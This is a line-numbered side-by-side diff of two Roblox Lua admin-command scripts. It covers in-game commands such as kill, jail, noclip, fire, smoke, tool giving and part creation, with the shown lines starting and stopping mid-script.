598 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
598 | + | function oc(msg,speaker) |
599 | - | for i, v in pairs(plrz) do |
599 | + | |
600 | - | coroutine.resume(coroutine.create(function() |
600 | + | if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/ |
601 | - | if v and v:findFirstChild("PlayerGui") then |
601 | + | local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/ |
602 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]] |
602 | + | if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt |
603 | - | cl.Parent = v.PlayerGui cl.Disabled = false |
603 | + | for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned |
604 | if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists | |
605 | - | end)) |
605 | + | local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character |
606 | if human ~= nil then--This part makes sure the line above found a humanoid | |
607 | human.Health = 0--This part makes the humanoid's health 0 | |
608 | - | |
608 | + | end end end end end--This line contains the ends for all the if statements and the for loop |
609 | - | if msg:lower():sub(1,5) == "clip " then |
609 | + | |
610 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
610 | + | if string.sub(string.lower(msg),1,2) == "m/" then |
611 | - | for i, v in pairs(plrz) do |
611 | + | text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace) |
612 | - | coroutine.resume(coroutine.create(function() |
612 | + | |
613 | - | if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then |
613 | + | |
614 | - | for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end |
614 | + | if string.sub(string.lower(msg),1,2) == "h/" then |
615 | - | v.Character.Torso.Anchored = false |
615 | + | text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace) |
616 | - | wait(.1) v.Character.Humanoid.PlatformStand = false |
616 | + | |
617 | ||
618 | - | end)) |
618 | + | if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable? |
619 | createscript(string.sub(msg,3),game.Workspace) | |
620 | end | |
621 | - | |
621 | + | |
622 | - | if msg:lower():sub(1,5) == "jail " then |
622 | + | local upmsg = msg |
623 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
623 | + | local msg = string.lower(msg) |
624 | - | for i, v in pairs(plrz) do |
624 | + | --NOW SHOWING COMMANDS MADE BY: Nominate10 |
625 | - | coroutine.resume(coroutine.create(function() |
625 | + | --THE FOLLOWING COMMANDS WERE MADE PURELY BY NOMINATE10! |
626 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
626 | + | if msg:sub(1,5) == "fire/" then |
627 | - | local vname = v.Name |
627 | + | local player = findplayer(msg:sub(6),speaker) |
628 | - | local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0) |
628 | + | if player ~= 0 then |
629 | - | local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail" |
629 | + | for i = 1,#player do |
630 | - | local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0) |
630 | + | if player[i].Character then |
631 | - | v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
631 | + | if player[i].Character.Torso:FindFirstChild("Fire") == nil then |
632 | - | v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
632 | + | fire = Instance.new("Fire") |
633 | - | game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end |
633 | + | fire.Parent = player[i].Character.Torso |
634 | - | v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
634 | + | fire.Color = Color3.new(math.random(),math.random(),math.random()) |
635 | - | v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
635 | + | end end end end end |
636 | ||
637 | - | local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0) |
637 | + | if msg:sub(1,7) == "unfire/" then |
638 | - | local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3) |
638 | + | local player = findplayer(msg:sub(8),speaker) |
639 | - | local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3) |
639 | + | if player ~= 0 then |
640 | - | local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0) |
640 | + | for i = 1,#player do |
641 | - | local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0) |
641 | + | if player[i].Character and player[i].Character.Torso then |
642 | - | local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0) |
642 | + | local c = player[i].Character.Torso:GetChildren() |
643 | - | local msh2 = msh:Clone() msh2.Parent = back |
643 | + | for i2 = 1, #c do |
644 | - | local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1) |
644 | + | if c[i2]:isA("Fire") then |
645 | - | local msh4 = msh3:Clone() msh4.Parent = left |
645 | + | c[i2]:remove() |
646 | - | v.Character.Torso.CFrame = cf |
646 | + | end end end end end end |
647 | ||
648 | - | end)) |
648 | + | if msg:sub(1,6) == "smoke/" then |
649 | local player = findplayer(msg:sub(7),speaker) | |
650 | if player ~= 0 then | |
651 | - | |
651 | + | for i = 1,#player do |
652 | - | if msg:lower():sub(1,7) == "unjail " then |
652 | + | if player[i].Character and player[i].Character.Torso then |
653 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
653 | + | if player[i].Character.Torso:FindFirstChild("Smoke") == nil then |
654 | - | for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end |
654 | + | smoke = Instance.new("Smoke") |
655 | smoke.Parent = player[i].Character.Torso | |
656 | - | |
656 | + | smoke.Color = Color3.new(math.random(),math.random(),math.random()) --I wonder if I could've done something like 'Color3.Random()' |
657 | - | if msg:lower():sub(1,11) == "starttools " then |
657 | + | end end end end end |
658 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
658 | + | |
659 | - | for i, v in pairs(plrz) do |
659 | + | if msg:sub(1,8) == "unsmoke/" then |
660 | - | coroutine.resume(coroutine.create(function() |
660 | + | local player = findplayer(msg:sub(9),speaker) |
661 | - | if v and v:findFirstChild("Backpack") then |
661 | + | if player ~= 0 then |
662 | - | for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end |
662 | + | for i = 1,#player do |
663 | if player[i].Character and player[i].Character.Torso then | |
664 | - | end)) |
664 | + | local c = player[i].Character.Torso:GetChildren() |
665 | for i2 = 1, #c do | |
666 | if c[i2]:isA("Smoke") then | |
667 | - | |
667 | + | c[i2]:remove() |
668 | - | if msg:lower():sub(1,6) == "sword " then |
668 | + | end end end end end end |
669 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
669 | + | |
670 | - | for i, v in pairs(plrz) do |
670 | + | if msg:sub(1,6) == "color/" then |
671 | - | coroutine.resume(coroutine.create(function() |
671 | + | local slash = msg:sub(7):find("/")+6 |
672 | - | if v and v:findFirstChild("Backpack") then |
672 | + | if slash then |
673 | - | local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png" |
673 | + | local player = findplayer(msg:sub(7, slash-1),speaker) |
674 | - | sword.GripForward = Vector3.new(-1,0,0) |
674 | + | color = msg:sub(slash+1) |
675 | - | sword.GripPos = Vector3.new(0,0,-1.5) |
675 | + | color = color:upper(color:sub(1,1)) .. color:sub(2) |
676 | - | sword.GripRight = Vector3.new(0,1,0) |
676 | + | if player ~= 0 and color then |
677 | - | sword.GripUp = Vector3.new(0,0,1) |
677 | + | for i = 1,#player do |
678 | - | local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0 |
678 | + | if player[i].Character then |
679 | - | local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png" |
679 | + | thecolor = BrickColor.new(color) |
680 | - | local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[ |
680 | + | if thecolor ~= nil then |
681 | - | repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") |
681 | + | if player[i].Character.Shirt ~= nil then |
682 | - | local Damage = 15 |
682 | + | player[i].Character.Shirt:remove() |
683 | - | local SlashSound = Instance.new("Sound", script.Parent.Handle) |
683 | + | end |
684 | - | SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" |
684 | + | if player[i].Character.Pants then |
685 | - | SlashSound.Volume = 1 |
685 | + | player[i].Character.Pants:remove() |
686 | - | local LungeSound = Instance.new("Sound", script.Parent.Handle) |
686 | + | end |
687 | - | LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" |
687 | + | c = player[i].Character:GetChildren() |
688 | - | LungeSound.Volume = 1 |
688 | + | for i2 = 1,#c do |
689 | - | local UnsheathSound = Instance.new("Sound", script.Parent.Handle) |
689 | + | if c[i2]:isA("Part") then |
690 | - | UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" |
690 | + | c[i2].BrickColor = thecolor |
691 | - | UnsheathSound.Volume = 1 |
691 | + | end end end end end end end end |
692 | - | local last = 0 |
692 | + | |
693 | - | script.Parent.Handle.Touched:connect(function(hit) |
693 | + | if msg:sub(1,15) == "advancedbtools/" then |
694 | - | if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then |
694 | + | local player = findplayer(msg:sub(16),speaker) |
695 | - | local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3) |
695 | + | if player ~= 0 then |
696 | - | hit.Parent.Humanoid:TakeDamage(Damage) |
696 | + | local insert = game:GetService("InsertService") |
697 | for i = 1,#player do | |
698 | local paintbrush = insert:LoadAsset(34842883) | |
699 | - | script.Parent.Activated:connect(function() |
699 | + | paintbrush:MakeJoints() |
700 | - | if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end |
700 | + | paintbrush.Paintbrush.Parent = player[i].Backpack --Give the tool to the player. |
701 | - | script.Parent.Enabled = false |
701 | + | paintbrush:remove() --Remove the model that held the tool. |
702 | - | local tick = game:service("RunService").Stepped:wait() |
702 | + | |
703 | - | if tick - last <= .2 then |
703 | + | local material = insert:LoadAsset(34842844) |
704 | - | LungeSound:play() |
704 | + | material:MakeJoints() |
705 | - | local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge" |
705 | + | material.Material.Parent = player[i].Backpack |
706 | - | local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0) |
706 | + | material:remove() |
707 | - | wait(.2) |
707 | + | |
708 | - | script.Parent.GripForward = Vector3.new(0,0,1) |
708 | + | local resize = insert:LoadAsset(34842919) |
709 | - | script.Parent.GripRight = Vector3.new(0,-1,0) |
709 | + | resize:MakeJoints() |
710 | - | script.Parent.GripUp = Vector3.new(-1,0,0) |
710 | + | resize["Resize Tool"].Parent = player[i].Backpack |
711 | - | wait(.3) |
711 | + | resize:remove() |
712 | - | frc:Destroy() wait(.5) |
712 | + | |
713 | - | script.Parent.GripForward = Vector3.new(-1,0,0) |
713 | + | local delete = Instance.new("HopperBin") |
714 | - | script.Parent.GripRight = Vector3.new(0,1,0) |
714 | + | delete.BinType = "Hammer" |
715 | - | script.Parent.GripUp = Vector3.new(0,0,1) |
715 | + | delete.Parent = player[i].Backpack |
716 | ||
717 | - | SlashSound:play() |
717 | + | local grab = Instance.new("HopperBin") |
718 | - | local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash" |
718 | + | grab.BinType = "GameTool" |
719 | grab.Parent = player[i].Backpack | |
720 | - | last = tick |
720 | + | |
721 | - | script.Parent.Enabled = true |
721 | + | local copy = Instance.new("HopperBin") |
722 | copy.BinType = "Clone" | |
723 | - | script.Parent.Equipped:connect(function(mouse) |
723 | + | copy.Parent = player[i].Backpack |
724 | - | for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end |
724 | + | |
725 | - | UnsheathSound:play() |
725 | + | local extra = insert:LoadAsset(35012404) |
726 | - | script.Parent.Enabled = true |
726 | + | extra:MakeJoints() |
727 | - | if not mouse then return end |
727 | + | extra["Build Tools"].Parent = player[i].Backpack |
728 | - | mouse.Icon = "http://www.roblox.com/asset/?id=103593352" |
728 | + | |
729 | - | end)]] cl.Disabled = false |
729 | + | elseif msg:sub(1,4) == "abt/" then |
730 | local player = findplayer(msg:sub(5),speaker) | |
731 | - | end)) |
731 | + | if player ~= 0 then |
732 | local insert = game:GetService("InsertService") | |
733 | for i = 1,#player do | |
734 | - | |
734 | + | local paintbrush = insert:LoadAsset(34842883) |
735 | - | if msg:lower():sub(1,5) == "kill " then |
735 | + | paintbrush:MakeJoints() |
736 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
736 | + | paintbrush.Paintbrush.Parent = player[i].Backpack --Give the tool to the player. |
737 | - | for i, v in pairs(plrz) do |
737 | + | paintbrush:remove() --Remove the model that held the tool. |
738 | - | coroutine.resume(coroutine.create(function() |
738 | + | |
739 | - | if v and v.Character then v.Character:BreakJoints() end |
739 | + | local material = insert:LoadAsset(34842844) |
740 | - | end)) |
740 | + | material:MakeJoints() |
741 | material.Material.Parent = player[i].Backpack | |
742 | material:remove() | |
743 | - | |
743 | + | |
744 | - | if msg:lower():sub(1,8) == "respawn " then |
744 | + | local resize = insert:LoadAsset(34842919) |
745 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
745 | + | resize:MakeJoints() |
746 | - | for i, v in pairs(plrz) do |
746 | + | resize["Resize Tool"].Parent = player[i].Backpack |
747 | - | coroutine.resume(coroutine.create(function() |
747 | + | resize:remove() |
748 | - | if v and v.Character then v:LoadCharacter() end |
748 | + | |
749 | - | end)) |
749 | + | local delete = Instance.new("HopperBin") |
750 | delete.BinType = "Hammer" | |
751 | delete.Parent = player[i].Backpack | |
752 | - | |
752 | + | |
753 | - | if msg:lower():sub(1,5) == "trip " then |
753 | + | local grab = Instance.new("HopperBin") |
754 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
754 | + | grab.BinType = "GameTool" |
755 | - | for i, v in pairs(plrz) do |
755 | + | grab.Parent = player[i].Backpack |
756 | - | coroutine.resume(coroutine.create(function() |
756 | + | |
757 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
757 | + | local copy = Instance.new("HopperBin") |
758 | - | v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) |
758 | + | copy.BinType = "Clone" |
759 | copy.Parent = player[i].Backpack | |
760 | - | end)) |
760 | + | |
761 | local extra = insert:LoadAsset(35012404) | |
762 | extra:MakeJoints() | |
763 | - | |
763 | + | extra["Build Tools"].Parent = player[i].Backpack |
764 | - | if msg:lower():sub(1,5) == "stun " then |
764 | + | |
765 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
765 | + | |
766 | - | for i, v in pairs(plrz) do |
766 | + | if msg:sub(1,7) == "insert/" then |
767 | - | coroutine.resume(coroutine.create(function() |
767 | + | local player = findplayer(msg:sub(8),speaker) |
768 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
768 | + | if player ~= 0 then |
769 | - | v.Character.Humanoid.PlatformStand = true |
769 | + | for i = 1,#player do |
770 | local insert = game:GetService("InsertService"):LoadAsset(34842829) | |
771 | - | end)) |
771 | + | insert:MakeJoints() |
772 | insert["Insert"].Parent = player[i].Backpack | |
773 | insert:remove() | |
774 | - | |
774 | + | |
775 | - | if msg:lower():sub(1,7) == "unstun " then |
775 | + | |
776 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
776 | + | if msg:sub(1,9) == "noinsert/" then |
777 | - | for i, v in pairs(plrz) do |
777 | + | local player = findplayer(msg:sub(10),speaker) |
778 | - | coroutine.resume(coroutine.create(function() |
778 | + | if player ~= 0 then |
779 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
779 | + | for i = 1,#player do |
780 | - | v.Character.Humanoid.PlatformStand = false |
780 | + | local insert = player[i].Backpack:FindFirstChild("Insert") |
781 | if insert then | |
782 | - | end)) |
782 | + | insert:remove() |
783 | end | |
784 | local bpinsert = player[i].Character:FindFirstChild("Insert") | |
785 | - | |
785 | + | if bpinsert ~= nil and bpinsert:isA("Tool") then |
786 | - | if msg:lower():sub(1,5) == "jump " then |
786 | + | bpinsert:remove() |
787 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
787 | + | |
788 | - | for i, v in pairs(plrz) do |
788 | + | |
789 | - | coroutine.resume(coroutine.create(function() |
789 | + | |
790 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
790 | + | if msg:sub(1,13) == "resetambient/" then |
791 | - | v.Character.Humanoid.Jump = true |
791 | + | |
792 | end | |
793 | - | end)) |
793 | + | |
794 | if msg:sub(1,14) == "randomambient/" then | |
795 | game.Lighting.Ambient = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255)) | |
796 | - | |
796 | + | |
797 | - | if msg:lower():sub(1,4) == "sit " then |
797 | + | |
798 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
798 | + | if msg:sub(1,11) == "getambient/" then |
799 | - | for i, v in pairs(plrz) do |
799 | + | m = Instance.new("Message",speaker) |
800 | - | coroutine.resume(coroutine.create(function() |
800 | + | m.Text = tostring(game.Lighting.Ambient) |
801 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
801 | + | wait(3) |
802 | - | v.Character.Humanoid.Sit = true |
802 | + | m:remove() |
803 | end | |
804 | - | end)) |
804 | + | |
805 | if msg:sub(1,14) == "platformstand/" then | |
806 | local player = findplayer(msg:sub(15),speaker) | |
807 | - | |
807 | + | if player ~= 0 then |
808 | - | if msg:lower():sub(1,10) == "invisible " then |
808 | + | for i = 1,#player do |
809 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
809 | + | if player[i].Character then |
810 | - | for i, v in pairs(plrz) do |
810 | + | player[i].Character.Humanoid.PlatformStand = true |
811 | - | coroutine.resume(coroutine.create(function() |
811 | + | end end end end |
812 | - | if v and v.Character then |
812 | + | |
813 | - | for a, obj in pairs(v.Character:children()) do |
813 | + | if msg:sub(1,16) == "unplatformstand/" then |
814 | - | if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end |
814 | + | local player = findplayer(msg:sub(17),speaker) |
815 | if player ~= 0 then | |
816 | for i = 1,#player do | |
817 | - | end)) |
817 | + | if player[i].Character then |
818 | player[i].Character.Humanoid.PlatformStand = false | |
819 | end end end end | |
820 | - | |
820 | + | |
821 | - | if msg:lower():sub(1,8) == "visible " then |
821 | + | if msg:sub(1,8) == "cframe1/" then |
822 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
822 | + | local player = findplayer(msg:sub(9),speaker) |
823 | - | for i, v in pairs(plrz) do |
823 | + | if player ~= 0 then |
824 | - | coroutine.resume(coroutine.create(function() |
824 | + | for i = 1,#player do |
825 | - | if v and v.Character then |
825 | + | local cframe = game:GetService("InsertService"):LoadAsset(34879005) |
826 | - | for a, obj in pairs(v.Character:children()) do |
826 | + | cframe:MakeJoints() |
827 | - | if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end |
827 | + | cframe["All New Edit Cframe"].Parent = player[i].Backpack |
828 | cframe:remove() | |
829 | end end end | |
830 | - | end)) |
830 | + | |
831 | if msg:sub(1,8) == "cframe2/" then | |
832 | local player = findplayer(msg:sub(9),speaker) | |
833 | - | |
833 | + | if player ~= 0 then |
834 | - | if msg:lower():sub(1,5) == "lock " then |
834 | + | for i = 1,#player do |
835 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
835 | + | local cframe = game:GetService("InsertService"):LoadAsset(35145017) |
836 | - | for i, v in pairs(plrz) do |
836 | + | cframe:MakeJoints() |
837 | - | coroutine.resume(coroutine.create(function() |
837 | + | cframe["CFrame"].Parent = player[i].Backpack |
838 | - | if v and v.Character then |
838 | + | cframe:remove() |
839 | - | for a, obj in pairs(v.Character:children()) do |
839 | + | end end end |
840 | - | if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end |
840 | + | |
841 | if msg:sub(1,11) == "skateboard/" then | |
842 | local player = findplayer(msg:sub(12),speaker) | |
843 | - | end)) |
843 | + | if player ~= 0 then |
844 | for i = 1,#player do | |
845 | local board = game:GetService("InsertService"):LoadAsset(34879053) | |
846 | - | |
846 | + | board:MakeJoints() |
847 | - | if msg:lower():sub(1,7) == "unlock " then |
847 | + | board["SkateTool"].Parent = player[i].Backpack |
848 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
848 | + | board:remove() |
849 | - | for i, v in pairs(plrz) do |
849 | + | |
850 | - | coroutine.resume(coroutine.create(function() |
850 | + | |
851 | - | if v and v.Character then |
851 | + | if msg:sub(1,11) == "appearance/" then |
852 | - | for a, obj in pairs(v.Character:children()) do |
852 | + | local slash = msg:sub(12):find("/")+11 |
853 | - | if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end |
853 | + | if slash then |
854 | local player = findplayer(msg:sub(12,slash-1),speaker) | |
855 | if player ~= 0 then | |
856 | - | end)) |
856 | + | local id = msg:sub(slash+1) |
857 | if id then | |
858 | for i = 1,#player do | |
859 | - | |
859 | + | player[i].CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=".. id .."&placeId=0" |
860 | - | if msg:lower():sub(1,8) == "explode " then |
860 | + | player[i].Character.Humanoid.Health = 0 |
861 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
861 | + | end end end end end |
862 | - | for i, v in pairs(plrz) do |
862 | + | |
863 | - | coroutine.resume(coroutine.create(function() |
863 | + | if string.sub(msg,1,6) == "wedge/" then --Credit to Person299 for the base of this command... |
864 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
864 | + | local danumber1 = nil |
865 | - | local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position |
865 | + | local danumber2 = nil |
866 | for i = 7,100 do | |
867 | - | end)) |
867 | + | if string.sub(msg,i,i) == "/" then |
868 | danumber1 = i | |
869 | break | |
870 | - | |
870 | + | elseif string.sub(msg,i,i) == "" then |
871 | - | if msg:lower():sub(1,4) == "age " then |
871 | + | break |
872 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
872 | + | |
873 | - | for i, v in pairs(plrz) do |
873 | + | if danumber1 == nil then return end |
874 | - | coroutine.resume(coroutine.create(function() |
874 | + | for i =danumber1 + 1,danumber1 + 100 do |
875 | - | if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end |
875 | + | if string.sub(msg,i,i) == "/" then |
876 | - | end)) |
876 | + | danumber2 = i |
877 | break | |
878 | elseif string.sub(msg,i,i) == "" then | |
879 | - | |
879 | + | break |
880 | - | if msg:lower():sub(1,5) == "fire " then |
880 | + | |
881 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
881 | + | if danumber2 == nil then return end |
882 | - | for i, v in pairs(plrz) do |
882 | + | if speaker.Character ~= nil then |
883 | - | coroutine.resume(coroutine.create(function() |
883 | + | local head = speaker.Character:FindFirstChild("Head") |
884 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
884 | + | if head ~= nil then |
885 | - | local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl) |
885 | + | local part = Instance.new("WedgePart") |
886 | part.Size = Vector3.new(string.sub(msg,7,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) | |
887 | - | end)) |
887 | + | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) |
888 | part.Name = "Person299's Admin Command Script V2 Part thingy" | |
889 | part.Parent = game.Workspace | |
890 | - | |
890 | + | |
891 | - | if msg:lower():sub(1,7) == "unfire " then |
891 | + | |
892 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
892 | + | if string.sub(msg,1,9) == "cylinder/" then --Credit to Person299 for the base of this command... |
893 | - | for i, v in pairs(plrz) do |
893 | + | local danumber1 = nil |
894 | - | coroutine.resume(coroutine.create(function() |
894 | + | local danumber2 = nil |
895 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
895 | + | for i = 10,100 do |
896 | - | for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end |
896 | + | if string.sub(msg,i,i) == "/" then |
897 | danumber1 = i | |
898 | - | end)) |
898 | + | break |
899 | elseif string.sub(msg,i,i) == "" then | |
900 | break | |
901 | - | |
901 | + | |
902 | - | if msg:lower():sub(1,6) == "smoke " then |
902 | + | if danumber1 == nil then return end |
903 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
903 | + | for i =danumber1 + 1,danumber1 + 100 do |
904 | - | for i, v in pairs(plrz) do |
904 | + | if string.sub(msg,i,i) == "/" then |
905 | - | coroutine.resume(coroutine.create(function() |
905 | + | danumber2 = i |
906 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
906 | + | break |
907 | - | local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl) |
907 | + | elseif string.sub(msg,i,i) == "" then |
908 | break | |
909 | - | end)) |
909 | + | |
910 | if danumber2 == nil then return end | |
911 | if speaker.Character ~= nil then | |
912 | - | |
912 | + | local head = speaker.Character:FindFirstChild("Head") |
913 | - | if msg:lower():sub(1,8) == "unsmoke " then |
913 | + | if head ~= nil then |
914 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
914 | + | local part = Instance.new("Part") |
915 | - | for i, v in pairs(plrz) do |
915 | + | part.Size = Vector3.new(string.sub(msg,10,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) |
916 | - | coroutine.resume(coroutine.create(function() |
916 | + | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) |
917 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
917 | + | part.Name = "Person299's Admin Command Script V2 Part thingy" |
918 | - | for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end |
918 | + | local cyl = Instance.new("CylinderMesh",part) |
919 | part.Parent = game.Workspace | |
920 | - | end)) |
920 | + | |
921 | ||
922 | if string.sub(msg,1,6) == "block/" then --Credit to Person299 for the base of this command... | |
923 | - | |
923 | + | local danumber1 = nil |
924 | - | if msg:lower():sub(1,9) == "sparkles " then |
924 | + | local danumber2 = nil |
